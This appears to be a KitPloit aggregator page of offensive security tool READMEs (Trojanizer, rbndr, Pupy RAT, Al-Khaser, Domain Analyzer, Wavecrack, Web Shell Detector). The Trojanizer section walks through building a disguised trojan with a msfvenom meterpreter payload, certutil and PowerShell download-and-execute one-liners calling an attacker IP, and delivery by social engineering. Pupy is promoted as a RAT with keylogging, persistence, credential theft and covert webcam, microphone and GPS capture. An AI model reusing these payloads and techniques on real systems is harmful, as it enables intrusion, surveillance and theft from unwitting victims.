Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5854 articles
Browse latest View live

Trojanizer - Trojanize Your Payload (WinRAR [SFX] Automatization)

$
0
0

The Trojanizer tool uses WinRAR (SFX) to compress the two files input by user, and transforms it into an SFX executable(.exe) archive. The sfx archive when executed it will run both files (our payload and the legit appl at the same time).

To make the archive less suspicious to target at execution time, trojanizer will try to replace the default icon(.ico) of the sfx file with a user-selected one, and supress all SFX archive sandbox msgs (Silent=1 | Overwrite=1).

Trojanizer will not build trojans, but from target perspective, it replicates the trojan behavior'
(execute the payload in background, while the legit application executes in foreground).

DEPENDENCIES (backend applications)

Zenity (bash-GUIs) | Wine (x86|x64) | WinRAr.exe (installed-in-wine)
"Trojanizer.sh will download/install all dependencies as they are needed"

It is recomended to edit and config the option: SYSTEM_ARCH=[ your_sys_arch ] in the 'settings' file before attempting to run the tool for the first time.


PAYLOADS (agents) ACCEPTED

.exe | .bat | .vbs | .ps1
"All payloads that windows/SFX can auto-extract-execute"

HINT: If sellected 'SINGLE_EXEC=ON' in the settings file, then trojanizer will accept any kind of extension to be inputed.

LEGIT APPLICATIONS ACCEPTED (decoys)

.exe | .bat | .vbs | .ps1 | .jpg | .bmp | .doc | .ppt | etc ..
"All applications that windows/SFX can auto-extract-execute"

ADVANCED SETTINGS


Trojanizer 'advanced options' are only accessible in the 'settings' file, and they can only be configurated before running the main tool (Trojanizer.sh)

-- Presetup advanced option
Trojanizer can be configurated to execute a program + command before the extraction/execution of the two compressed files (SFX archive). This allow users to take advantage of pre-installed software to execute a remote command before the actual extraction occurs in target system. If active, trojanizer will asks (zenity sandbox) for the command to be executed 


-- single_file_execution
Lets look at the follow scenario: You have a dll payload to input that you need to execute upon extraction, but sfx archives can not execute directly dll files, This setting allow users to input one batch script(.bat) that its going to be used to execute the dll payload. All that Trojanizer needs to Do its to instruct the SFX archive to extract both files and them execute the script.bat 


single_file_execution switch default behavior its to compress the two files inputed by user but only execute one of them at extraction time (the 2º file inputed will be executed) ...

TROJANIZER AND APPL WHITELISTING BYPASSES

A lot of awesome work has been done by a lot of people, especially @subTee, regarding  application whitelisting bypass, which is eventually what we want here: execute arbitrary code abusing Microsoft built-in binaries. Windows oneliners to download remote payload and execute arbitrary code

The follow exercise describes how to use trojanizer 'single_file_execution' and 'Presetup' advanced switchs to drop (remote download) and execute any payload using 'certutil' or 'powershell' appl_whitelisting_bypass oneliners ...

1º - use metasploit to build our payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=666 -f exe -o payload.exe

2º - copy payload.exe to apache2 webroot and start service
cp payload.exe /var/www/html/payload.exe
service apache2 start

3º - edit Trojanizer 'settings' file and activate:
PRE_SETUP=ON
SINGLE_EXEC=ON

4º - running trojanizer tool
PAYLOAD TO BE COMPRESSED => /screenshot.png (it will not matter what you compress)
EXECUTE THIS FILE UPON EXTRACTION => /AngryBirds.exe (to be executed as decoy application)
PRESETUP SANDBOX => cmd.exe /c certutil -urlcache -split -f 'http://192.168.1.69/payload.exe', '%TEMP%\\payload.exe'; Start-Process '%TEMP%\\payload.exe'
SFX FILENAME => AngryBirds_installer (the name of the sfx archive to be created)
REPLACE ICON => Windows-Store.ico OR Steam-logo.ico

5º - start a listenner, and send the sfx archive to target using social enginnering
msfconsole -x 'use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.1.69; set lport 666; exploit'

When the sfx archive its executed, it will download payload.exe from our apache2 webserver to target and execute it before extract 'screenshot.png' and 'AngryBirds.exe' (last one will be executed to serve as decoy)

The follow oneliner uses 'powershell(Downloadfile+start)' method to achieve the same as previous 'certutil' exercise ..
cmd.exe /c powershell.exe -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://192.168.1.69/payload.exe', '%TEMP%\\payload.exe') & start '%TEMP%\\payload.exe'

The follow oneliner uses 'powershell(IEX+downloadstring)' method to achieve allmost the same (payload.ps1 does not touch disk)
cmd.exe /c powershell.exe -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.69/payload.ps1'))"

DOWNLOAD/INSTALL
1º - Download framework from github
git clone https://github.com/r00t-3xp10it/trojanizer.git

2º - Set files execution permitions
cd trojanizer
sudo chmod +x *.sh

3º - config framework
nano settings

4º - Run main tool
sudo ./Trojanizer.sh

Framework Screenshots

xsf.conf - execute both files upon extraction (trojan behavior)


xsf.conf - single_file_execution + Presetup (advanced options)


xsf.conf - single_file_execution + Presetup + appl_whitelisting_bypass (certutil)


xsf.conf - single_file_execution + Presetup + appl_whitelisting_bypass (powershell IEX)


Final sfx archive with icon changed


Inside the sfx archive (open with winrar) - trojan behavior


Inside the sfx archive (open with winrar) - single_file_execution



Video tutorials

Trojanizer - single_file_execution (not trojan behavior)


Trojanizer - AVG anti-virus fake installer (trojan behavior)





rbndr - Simple DNS Rebinding Service

$
0
0


rbndr is a very simple, non-conforming, name server for testing software against DNS rebinding vulnerabilities. The server responds to queries by randomly selecting one of the addresses specified in the hostname and returning it as the answer with a very low ttl.
https://en.wikipedia.org/wiki/DNS_rebinding
DNS rebinding is a form of TOCTOU (time of check, time of use) vulnerability. You would use it if you have a service that uses "preflight" checks incorrectly to modify security properties. For example, consider a (fictional) browser plugin that has an api like this:
AllowUntrustedAccess("foobar.com");
SendArbitraryRequests("foobar.com");
And AllowUntrustedAccess() simply sends a preflight HTTP request to the host:
GET /CanIDisableSecurity HTTP/1.1
If the service returns 200, then the plugin allows the hostpage complete access to that hostname. This might be a security vulnerability, because you can specify a rbndr hostname that will switch between a host you control and a host you don't. The plugin might allow complete access to an arbitrary ip address (e.g. an internal service, or localhost) even if that service would not normally permit the preflight check.
This might sound unrealistic, but that's exactly how Adobe Flash, Oracle Java and lots of other products worked in the past, and many other products still work.
Read about how Adobe tried to resolve this problem in Flash here, https://www.adobe.com/devnet/flashplayer/articles/fplayer9_security.html
For software that is vulnerable to this class of attack, rbndr is an easy way to test without having to modify /etc/hosts or setup your own nameserver. If the software associates the result with just the hostname and not the hostname and ip address, then you can grant yourself access to any ip address.
The format for hostnames is simply
<ipv4 in base-16>.<ipv4 in base-16>.rbndr.us
But you can use this website to convert from dotted quads if you prefer:
https://lock.cmpxchg8b.com/rebinder.html
For example, to switch between 127.0.0.1 and 192.168.0.1 you would encode them as dwords, and then use:
7f000001.c0a80001.rbndr.us
Let's test it out:
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 192.168.0.1
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 192.168.0.1
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 192.168.0.1
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 127.0.0.1
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 127.0.0.1
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 192.168.0.1
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 127.0.0.1
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 127.0.0.1
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 192.168.0.1
As you can see, the server randomly returns one of the addresses. You might do something like this (in pseudo-code):
// Keep calling api until it resolves to the address you control and you get granted access
while (AllowUntrustedAccesss("7f000001.c0a80001.rbndr.us") != true)
;

// Access granted, now wait for it to re-bind
while (ConnectToPort("7f000001.c0a80001.rbndr.us", 123) != true)
;

// Now you have access to localhost:123 even though localhost did not opt-in to reduced security.
SomethingEvil();


Pupy - Opensource, Cross-Platform (Windows, Linux, OSX, Android) Remote Administration And Post-Exploitation Tool

$
0
0


Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android), multi function RAT (Remote Administration Tool) and post-exploitation tool mainly written in python. It features a all-in-memory execution guideline and leaves very low footprint. Pupy can communicate using various transports, migrate into processes (reflective injection), load remote python code, python packages and python C-extensions from memory.
Pupy modules can transparently access remote python objects using rpyc to perform various interactive tasks.
Pupy can generate payloads in multiple formats like PE executables, reflective DLLs, pure python files, powershell, apk, ... When you package a payload, you can choose a launcher (connect, bind, ...), a transport (ssl, http, rsa, obfs3, scramblesuit, ...) and a number of "scriptlets". Scriptlets are python scripts meant to be embedded to perform various tasks offline (without requiring a session), like starting a background script, adding persistence, starting a keylogger, detecting a sandbox, ...

Installation
git clone https://github.com/n1nj4sec/pupy.git pupy
cd pupy
git submodule init
git submodule update
pip install -r pupy/requirements.txt
wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz
tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates
or Refer to the wiki

Features
  • Multi-platform (tested on windows xp, 7, 8, 10, kali linux, ubuntu, osx, android)
  • On windows, the Pupy payload can be compiled as a reflective DLL and the whole python interpreter is loaded from memory. Pupy does not touch the disk :)
  • pupy can also be packed into a single .py file and run without any dependencies other that the python standard library on all OS
    • pycrypto gets replaced by pure python aes && rsa implementations when unavailable
  • Pupy can reflectively migrate into other processes
  • Pupy can remotely import, from memory, pure python packages (.py, .pyc) and compiled python C extensions (.pyd, .so). The imported python modules do not touch the disk.
  • Pupy is easily extensible, modules are quite simple to write, sorted by os and category.
  • A lot of awesome modules are already implemented!
  • Pupy uses rpyc and a module can directly access python objects on the remote client
    • We can also access remote objects interactively from the pupy shell and you even get auto-completion of remote attributes!
  • Communication transports are modular, stackable and awesome. You could exfiltrate data using HTTP over HTTP over AES over XOR. Or any combination of the available transports !
  • Pupy can communicate using obfsproxy pluggable transports
  • All the non interactive modules can be dispatched to multiple hosts in one command
  • Commands and scripts running on remote hosts are interruptible
  • Auto-completion for commands and arguments
  • Custom config can be defined: command aliases, modules automatically run at connection, ...
  • Interactive python shells with auto-completion on the all in memory remote python interpreter can be opened
  • Interactive shells (cmd.exe, /bin/bash, ...) can be opened remotely. Remote shells on Unix & windows clients have a real tty with all keyboard signals working fine just like a ssh shell
  • Pupy can execute PE exe remotely and from memory (cf. ex with mimikatz)
  • Pupy can generate payloads in various formats : apk,lin_x86,lin_x64,so_x86,so_x64,exe_x86,exe_x64,dll_x86,dll_x64,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky
  • Pupy can be deployed in memory, from a single command line using pupygen.py's python or powershell one-liners.
  • "scriptlets" can be embeded in generated payloads to perform some tasks "offline" without needing network connectivity (ex: start keylogger, add persistence, execute custom python script, check_vm ...)
  • tons of other features, check out the implemented modules

Implemented Transports
All transports in pupy are stackable. This mean that by creating a custom transport conf (pupy/network/transport/<transport_name>/conf.py), you can make you pupy session looks like anything. For example you could stack HTTP over HTTP over base64 over HTTP over AES over obfs3 :o)
  • rsa
    • A layer with authentication & encryption using RSA and AES256, often stacked with other layers
  • aes
    • layer using a static AES256 key
  • ssl (the default one)
    • TCP transport wrapped with SSL
  • ssl_rsa
    • same as ssl but stacked with a rsa layer
  • http
    • layer making the traffic look like HTTP traffic. HTTP is stacked with a rsa layer
  • obfs3
  • scramblesuit
  • udp
    • rsa layer but over UDP (could be buggy, it doesn't handle packet loss yet)
  • other
    • Other layers doesn't really have any interest and are given for code examples : (dummy, base64, XOR, ...)

Implemented Launchers (not up to date, cf. ./pupygen.py -h)
Launchers allow pupy to run custom actions before starting the reverse connection
  • connect
    • Just connect back
  • bind
    • Bind payload instead of reverse
  • auto_proxy
    • Retrieve a list of possible SOCKS/HTTP proxies and try each one of them. Proxy retrieval methods are: registry, WPAD requests, gnome settings, HTTP_PROXY env variable

Implemented Modules (not up to date)

All platforms:
  • command execution
  • download
  • upload
  • interactive python shell with auto-completion
  • interactive shell (cmd.exe, powershell.exe, /bin/sh, /bin/bash, ...)
    • tty allocation is well supported on both windows and *nix. Just looks like a ssh shell
  • shellcode exec
  • persistence
  • socks5 proxy
  • local and remote port forwarding
  • screenshot
  • keylogger
  • run the awesome credential gathering tool LaZagne from memory !
  • sniff tools, netcreds
  • process migration (windows & linux, not osx yet)
  • ...
  • a lot of other tools (upnp client, various recon/pivot tools using impacket remotely, ...)

Windows specific :
  • migrate
    • inter process architecture injection also works (x86->x64 and x64->x86)
  • in memory execution of PE exe both x86 and x64!
  • webcam snapshot
  • microphone recorder
  • mouselogger:
    • takes small screenshots around the mouse at each click and send them back to the server
  • token manipulation
  • getsystem
  • creddump
  • tons of useful powershell scripts
  • ...

Android specific
  • Text to speech for Android to say stuff out loud
  • webcam snapshots (front cam & back cam)
  • GPS tracker !

Documentation
Refer to the wiki

Some screenshots (not up to date)
Screenshot section on the wiki


Domain Analyzer - Analyze The Security Of Any Domain By Finding All the Information Possible

$
0
0

Domain analyzer is a security analysis tool which automatically discovers and reports information about the given domain. Its main purpose is to analyze domains in an unattended way.

How
Domain analyzer takes a domain name and finds information about it, such as DNS servers, mail servers, IP addresses, mails on Google, SPF information, etc. After all the information is stored and organized it scans the ports of every IP found using nmap and perform several other security checks. After the ports are found, it uses the tool crawler.py from @verovaleros, to spider the complete web page of all the web ports found. This tool has the option to download files and find open folders.
Current version is 0.8 and the main features are:
  • It creates a directory with all the information, including nmap output files.
  • It uses colors to remark important information on the console.
  • It detects some security problems like host name problems, unusual port numbers and zone transfers.
  • It is heavily tested and it is very robust against DNS configuration problems.
  • It uses nmap for active host detection, port scanning and version information (including nmap scripts).
  • It searches for SPF records information to find new hostnames or IP addresses.
  • It searches for reverse DNS names and compare them to the hostname.
  • It prints out the country of every IP address.
  • It creates a PDF file with results.
  • It automatically detects and analyze sub-domains!
  • It searches for domains emails.
  • It checks the 192 most common hostnames in the DNS servers.
  • It checks for Zone Transfer on every DNS server.
  • It finds the reverse names of the /24 network range of every IP address.
  • It finds active host using nmap complete set of techniques.
  • It scan ports using nmap (remember that for the SYN scan you need to need root).
  • It searches for host and port information using nmap.
  • It automatically detects web servers used.
  • It crawls every web server page using our crawler.py tool. See the description below.
  • It filters out hostnames based on their name.
  • It pseudo-randomly searches N domains in Google and automatically analyze them!
  • Uses CTRL-C to stop current analysis stage and continue working.
  • It can read an external file with domain names and try to find them on the domain.

Bonus features
@verovaleros developed a separate python web crawler called "crawler.py". Its main features are:
  • Crawl http and https web sites.
  • Crawl http and https web sites not using common ports.
  • Uses regular expressions to find 'href' and 'src' html tag. Also content links.
  • Identifies relative links.
  • Identifies domain related emails.
  • Identifies directory indexing.
  • Detects references to URLs like 'file:', 'feed=', 'mailto:', 'javascript:' and others.
  • Uses CTRL-C to stop current crawler stages and continue working.
  • Identifies file extensions (zip, swf, sql, rar, etc.)
  • Download files to a directory:
    • Download every important file (images, documents, compressed files).
    • Or download specified files types.
    • Or download a predefined set of files (like 'document' files: .doc, .xls, .pdf, .odt, .gnumeric, etc.).
  • Maximum amount of links to crawl. A default value of 5000 URLs is set.
  • Follows redirections using HTML and JavaScript Location tag and HTTP response codes.

This extended edition has more features!
  • World-domination: You can automatically analyze the whole world! (if you have time)
  • Robin-hood: Although it is still in development, it will let you send automatically an email to the mails found during scan with the analysis information.
  • Robtex DNS: With this incredible function, every time you found a DNS servers with Zone Transfer, it will retrieve from the Robtex site other domains using that DNS server! It will automatically analyze them too! This can be a never ending test! Every vulnerable DNS server can be used by hundreds of domains, which in turn can be using other vulnerable DNS servers. BEWARE! Domains retrieved can be unrelated to the first one.

Examples
  • Find 10 random domains in the .gov domain and analyze them fully (including web crawling). If it finds some Zone Transfer, retrieve more domains using them from Robtex!!
    domain_analyzer.py -d .gov -k 10 -b
  • (Very Quick and dirty) Find everything related with .edu.cn domain, store everything in directories. Do not search for active host, do not nmap scan them, do not reverse-dns the netblock, do not search for emails.
    domain_analyzer.py -d edu.cn -b -o -g -a -n
  • Analyze the 386.edu.ru domain fully
    domain_analyzer.py -d 386.edu.ru -b -o
  • (Pen tester mode). Analyze a domain fully. Do not find other domains. Print everything in a pdf file. Store everything on disk. When finished open Zenmap and show me the topology every host found at the same time!
    domain_analyzer.py -d amigos.net -o -e
  • (Quick with web crawl only). Ignore everything with 'google' on it.
    domain_analyzer.py -d mil.cn -b -o -g -a -n -v google -x '-O --reason --webxml --traceroute -sS -sV -sC -PN -n -v -p 80,4443'
  • (Everything) Crawl up to 100 URLs of this site including subdomains. Store output into a file and download every INTERESTING file found to disk.
    crawler.py -u www.386.edu.ru -w -s -m 100 -f
  • (Quick and dirty) Crawl the site very quick. Do not download files. Store the output to a file.
    crawler.py -u www.386.edu.ru -w -m 20
  • (If you want to analyze metadata later with lafoca). Verbose prints which extensions are being downloaded. Download only the set of archives corresponding to Documents (.doc, .docx, .ppt, .xls, .odt. etc.)
    crawler.py -u ieeeexplore.ieee.org/otherfiles/ -d -v
Most of these features can be deactivated.

Screenshots
  1. Example domain_analyzer.py -d .gov -k 10 -b

Installation
Just untar the .tar.gz file and copy the python files to the /usr/bin/ directory. Domain_analyzer needs to be run as root. The crawler can be run as a non-privileged user. If you want all the features (web crawler, pdf and colors), which is nice, also copy these files to /usr/bin or /usr/local/bin
  • ansistrm.py
  • crawler.py
  • pyText2pdf.py
If you have any issues with the GeoIP database, please download it from its original source here. And install it in where your system needs it, usually at /opt/local/share/GeoIP/GeoIP.dat


Al-Khaser v0.72 - Public malware techniques used in the wild (Virtual Machine, Emulation, Debuggers, Sandbox detection)

$
0
0

al-khaser is a PoC "malware" application with good intentions that aims to stress your anti-malware system. It performs a bunch of common malware tricks with the goal of seeing if you stay under the radar.

Features

Anti-debugging attacks
  • IsDebuggerPresent
  • CheckRemoteDebuggerPresent
  • Process Environement Block (BeingDebugged)
  • Process Environement Block (NtGlobalFlag)
  • ProcessHeap (Flags)
  • ProcessHeap (ForceFlags)
  • NtQueryInformationProcess (ProcessDebugPort)
  • NtQueryInformationProcess (ProcessDebugFlags)
  • NtQueryInformationProcess (ProcessDebugObject)
  • NtSetInformationThread (HideThreadFromDebugger)
  • NtQueryObject (ObjectTypeInformation)
  • NtQueryObject (ObjectAllTypesInformation)
  • CloseHanlde (NtClose) Invalide Handle
  • SetHandleInformation (Protected Handle)
  • UnhandledExceptionFilter
  • OutputDebugString (GetLastError())
  • Hardware Breakpoints (SEH / GetThreadContext)
  • Software Breakpoints (INT3 / 0xCC)
  • Memory Breakpoints (PAGE_GUARD)
  • Interrupt 0x2d
  • Interrupt 1
  • Parent Process (Explorer.exe)
  • SeDebugPrivilege (Csrss.exe)
  • NtYieldExecution / SwitchToThread
  • TLS callbacks
  • Process jobs

Anti-Dumping
  • Erase PE header from memory
  • SizeOfImage

Timing Attacks [Anti-Sandbox]
  • RDTSC (with CPUID to force a VM Exit)
  • RDTSC (Locky version with GetProcessHeap & CloseHandle)
  • Sleep -> SleepEx -> NtDelayExecution
  • Sleep (in a loop a small delay)
  • Sleep and check if time was accelerated (GetTickCount)
  • SetTimer (Standard Windows Timers)
  • timeSetEvent (Multimedia Timers)
  • WaitForSingleObject -> WaitForSingleObjectEx -> NtWaitForSingleObject
  • WaitForMultipleObjects -> WaitForMultipleObjectsEx -> NtWaitForMultipleObjects (todo)
  • IcmpSendEcho (CCleaner Malware)
  • CreateWaitableTimer (todo)
  • CreateTimerQueueTimer (todo)
  • Big crypto loops (todo)

Human Interaction / Generic [Anti-Sandbox]
  • Mouse movement
  • Total Physical memory (GlobalMemoryStatusEx)
  • Disk size using DeviceIoControl (IOCTL_DISK_GET_LENGTH_INFO)
  • Disk size using GetDiskFreeSpaceEx (TotalNumberOfBytes)
  • Mouse (Single click / Double click) (todo)
  • DialogBox (todo)
  • Scrolling (todo)
  • Execution after reboot (todo)
  • Count of processors (Win32/Tinba - Win32/Dyre)
  • Sandbox known product IDs (todo)
  • Color of background pixel (todo)
  • Keyboard layout (Win32/Banload) (todo)

Anti-Virtualization / Full-System Emulation
  • Registry key value artifacts
    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VBOX)
    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (QEMU)
    • HARDWARE\Description\System (SystemBiosVersion) (VBOX)
    • HARDWARE\Description\System (SystemBiosVersion) (QEMU)
    • HARDWARE\Description\System (VideoBiosVersion) (VIRTUALBOX)
    • HARDWARE\Description\System (SystemBiosDate) (06/23/99)
    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
  • Registry Keys artifacts
    • "HARDWARE\ACPI\DSDT\VBOX__"
    • "HARDWARE\ACPI\FADT\VBOX__"
    • "HARDWARE\ACPI\RSDT\VBOX__"
    • "SOFTWARE\Oracle\VirtualBox Guest Additions"
    • "SYSTEM\ControlSet001\Services\VBoxGuest"
    • "SYSTEM\ControlSet001\Services\VBoxMouse"
    • "SYSTEM\ControlSet001\Services\VBoxService"
    • "SYSTEM\ControlSet001\Services\VBoxSF"
    • "SYSTEM\ControlSet001\Services\VBoxVideo"
    • SOFTWARE\VMware, Inc.\VMware Tools
    • SOFTWARE\Wine
  • File system artifacts
    • "system32\drivers\VBoxMouse.sys"
    • "system32\drivers\VBoxGuest.sys"
    • "system32\drivers\VBoxSF.sys"
    • "system32\drivers\VBoxVideo.sys"
    • "system32\vboxdisp.dll"
    • "system32\vboxhook.dll"
    • "system32\vboxmrxnp.dll"
    • "system32\vboxogl.dll"
    • "system32\vboxoglarrayspu.dll"
    • "system32\vboxoglcrutil.dll"
    • "system32\vboxoglerrorspu.dll"
    • "system32\vboxoglfeedbackspu.dll"
    • "system32\vboxoglpackspu.dll"
    • "system32\vboxoglpassthroughspu.dll"
    • "system32\vboxservice.exe"
    • "system32\vboxtray.exe"
    • "system32\VBoxControl.exe"
    • "system32\drivers\vmmouse.sys"
    • "system32\drivers\vmhgfs.sys"
  • Directories artifacts
    • "%PROGRAMFILES%\oracle\virtualbox guest additions\"
    • "%PROGRAMFILES%\VMWare\"
  • Memory artifacts
    • Interupt Descriptor Table (IDT) location
    • Local Descriptor Table (LDT) location
    • Global Descriptor Table (GDT) location
    • Task state segment trick with STR
  • MAC Address
    • "\x08\x00\x27" (VBOX)
    • "\x00\x05\x69" (VMWARE)
    • "\x00\x0C\x29" (VMWARE)
    • "\x00\x1C\x14" (VMWARE)
    • "\x00\x50\x56" (VMWARE)
  • Virtual devices
    • "\\.\VBoxMiniRdrDN"
    • "\\.\VBoxGuest"
    • "\\.\pipe\VBoxMiniRdDN"
    • "\\.\VBoxTrayIPC"
    • "\\.\pipe\VBoxTrayIPC")
    • "\\.\HGFS"
    • "\\.\vmci"
  • Hardware Device information
    • SetupAPI SetupDiEnumDeviceInfo (GUID_DEVCLASS_DISKDRIVE)
      • QEMU
      • VMWare
      • VBOX
      • VIRTUAL HD
  • System Firmware Tables
    • SMBIOS string checks (VirtualBox)
    • ACPI string checks (VirtualBox)
  • Adapter name
    • VMWare
  • Windows Class
    • VBoxTrayToolWndClass
    • VBoxTrayToolWnd
  • Network shares
    • VirtualBox Shared Folders
  • Processes
    • vboxservice.exe (VBOX)
      • vboxtray.exe (VBOX)
        • vmtoolsd.exe(VMWARE)
      • vmwaretray.exe(VMWARE)
        • vmwareuser(VMWARE)
        • vmsrvc.exe(VirtualPC)
        • vmusrvc.exe(VirtualPC)
        • prl_cc.exe(Parallels)
        • prl_tools.exe(Parallels)
      • xenservice.exe(Citrix Xen)
  • WMI
    • SELECT * FROM Win32_Bios (SerialNumber) (VMWARE)
    • SELECT * FROM Win32_PnPEntity (DeviceId) (VBOX)
    • SELECT * FROM Win32_NetworkAdapterConfiguration (MACAddress) (VBOX)
    • SELECT * FROM Win32_NTEventlogFile (VBOX)
    • SELECT * FROM Win32_Processor (NumberOfCores) (GENERIC)
    • SELECT * FROM Win32_LogicalDisk (Size) (GENERIC)
  • DLL Exports and Loaded DLLs
    • kernel32.dll!wine_get_unix_file_nameWine (Wine)
    • sbiedll.dll (Sandboxie)
    • dbghelp.dll (MS debugging support routines)
    • api_log.dll (iDefense Labs)
    • dir_watch.dll (iDefense Labs)
    • pstorec.dll (SunBelt Sandbox)
    • vmcheck.dll (Virtual PC)
    • wpespy.dll (WPE Pro)
  • CPU
    • Hypervisor presence using (EAX=0x1)
    • Hypervisor vendor using (EAX=0x40000000)
      • "KVMKVMKVM\0\0\0" (KVM)
        • "Microsoft Hv"(Microsoft Hyper-V or Windows Virtual PC)
        • "VMwareVMware"(VMware)
        • "XenVMMXenVMM"(Xen)
        • "prl hyperv "( Parallels) -"VBoxVBoxVBox"( VirtualBox)

Anti-Analysis
  • Processes
    • OllyDBG / ImmunityDebugger / WinDbg / IDA Pro
    • SysInternals Suite Tools (Process Explorer / Process Monitor / Regmon / Filemon, TCPView, Autoruns)
    • Wireshark / Dumpcap
    • ProcessHacker / SysAnalyzer / HookExplorer / SysInspector
    • ImportREC / PETools / LordPE
    • JoeBox Sandbox

Macro malware attacks
  • Document_Close / Auto_Close.
  • Application.RecentFiles.Count

Code/DLL Injections techniques
  • CreateRemoteThread
  • SetWindowsHooksEx
  • NtCreateThreadEx
  • RtlCreateUserThread
  • APC (QueueUserAPC / NtQueueApcThread)
  • RunPE (GetThreadContext / SetThreadContext)

Contributors

References


Wavecrack - Web Interface For Password Cracking With Hashcat

$
0
0
A user-friendly Web interface to share an hashcatcracking box among multiple users with some pre-defined options.

Screenshots
  • The homepage

  • Adding an hash to crack

  • Seeing the results and some stats


Outline
  • This Web application can be used to launch asynchronous password cracks with hashcat.
  • The interface tries to be as user-friendly as possible and facilitates the password cracking method choice and to automate the succession of various attack modes.
  • It also displays statistics regarding the cracked passwords and allows to export the cracked password list in CSV.
  • The application is designed to be used in a multi-user environment with a strict segregation between the cracking results of different users: the user authentication can be done through an LDAP directory or basic auth.

Usage
Wavecrack can be used to do the following:
  • Add new password hashes, choose the attack mode and the crack duration
  • View the past and current cracks for your user with statistics and graphs
  • View the overall load of the platform
  • Upload a password-protected file and extract its hash
The attack modes are followed in the order they are displayed on the hash submit form.
It is also possible to stop a crack. However, every cancelation is final.
A limit to the amount of concurrent cracks can be defined in the settings in order not to reduce the current cracks performance.

Requirements

Installation
  • Install the RabbitMQ server and python-ldap requirements
$ apt-get install libsasl2-dev libldap2-dev libssl-dev rabbitmq-server
$ pip install -r requirements.txt
  • Create a cracker/app_settings.py configuration file from the cracker/app_settings.py.example file and notably edit the Mandatory settings section:
    • The path of hashcat
    • The RabbitMQ connection string: by default, the guest/guest account is used. Be sure to harden your installation
    • The path of the SQLite database
    • The path of the hashcat rules
    • The path of the wordlists
    • The LDAP parameters:
      • IP address
      • port
      • LDAP database for the users
      • Base DN
  • Initialize the local database linked in the cracker/app_settings.py configuration file
$ sqlite3 base.db < base_schema.sql
  • Start the RabbitMQ server
$ sudo service rabbitmq-server start
  • Start Celery from the application folder
$ celery worker -A cracker.celery
Finally, if you don't want to setup your own VM, you can use the Docker-based process described in the docker folder.


    Web Shell Detector - PHP Script That Helps You Find And Identify PHP / CGI (Perl) / ASP / ASPX Shells

    $
    0
    0

    Web Shell Detector is a php script that helps you find and identify php/cgi(perl)/asp/aspx shells. Web Shell Detector has a “web shells” signature database that helps to identify “web shell” up to 99%. By using the latest javascript and css technologies, web shell detector has a light weight and friendly interface.

    Contributors
    Piotr Łuczko
    John Thornton

    Detection
    Number of known shells: 604

    Requirements
    PHP 5.x, OpenSSL (only for secure file submission)

    Usage
    To activate Web Shell Detector:
    1. Upload shelldetect.php and shelldetect.db to your root directory
    2. Open shelldetect.php file in your browser
      Example: http://www.website.com/shelldetect.php
    3. Use default username & password
      Username: admin Password: protect
    4. Inspect all strange files, if some of files look suspicious, send them to http://www.shelldetector.com team. After submitting your file, it will be inspected and if there are any threats, it will be inserted into a “web shell detector” web shells signature database.
    5. If any web shells found and identified use your ftp/ssh client to remove it from your web server (IMPORTANT: please be careful because some of shells may be integrated into system files!).

    Demo
    http://www.emposha.com/demo/shelldetect/

    Options
    • extension - extensions that should be scanned
    • showlinenumbers - show line number where suspicious function used
    • dateformat - used with access time & modified time
    • langauge - if I want to use other language
    • directory - scan specific directory
    • task - perform different task
    • report_format - used with is_cron(true) file format for report file
    • is_cron - if true run like a cron(no output)
    • filelimit - maximum files to scan (more then 30000 you should scan specific directory)
    • useget - activate _GET variable for easy way to recive tasks
    • authentication - protect script with user & password in case to disable simply set to NULL
    • remotefingerprint - get shells signatures db by remote

    Changelog
    • 1.66 thanks to John Thornton for small tweeks and php 5.3.3 support
    • 1.64 settings ini file support added(in case that you want to use same settings without code changing), output method rewriten, is_cron fixed, italian translation added (thanks to Marco Saiu)
    • 1.63 new shell recognize mechanizm added, shell signatures updated.
    • 1.62 version of jquery reverted to 1.7.x due bug with jquery ui dialog, new type of files added, shells signatures updated
    • 1.61 added new way to send suspicious files, some css & code fixes, new shells signatures added
    • 1.6 added support to indicate not shell files (but still those files need to be removed), loader indicator added
    • 1.52 noindex meta tag added (to remove script from search results), scann all files options added: extension = *
    • 1.51 unpack function update
    • 1.5 unpack function added, application version check added, many warnings fixed, error handler fixed.
    • 1.4 hide suspicious files option added, file scanning changed.
    • 1.3 submission of suspicious file to shelldetector.com changed, email field added with ability to get notify about suspicious file.
    • 1.2 encryption function added, authentication added, some small bugs fixed
    • 1.1 fingerprint function change show line regex changed
    • 1.0 first version

    SQLmap Tamper-API - SQLMap Tamper API To Accept Tamper Scripts From All Languages

    $
    0
    0

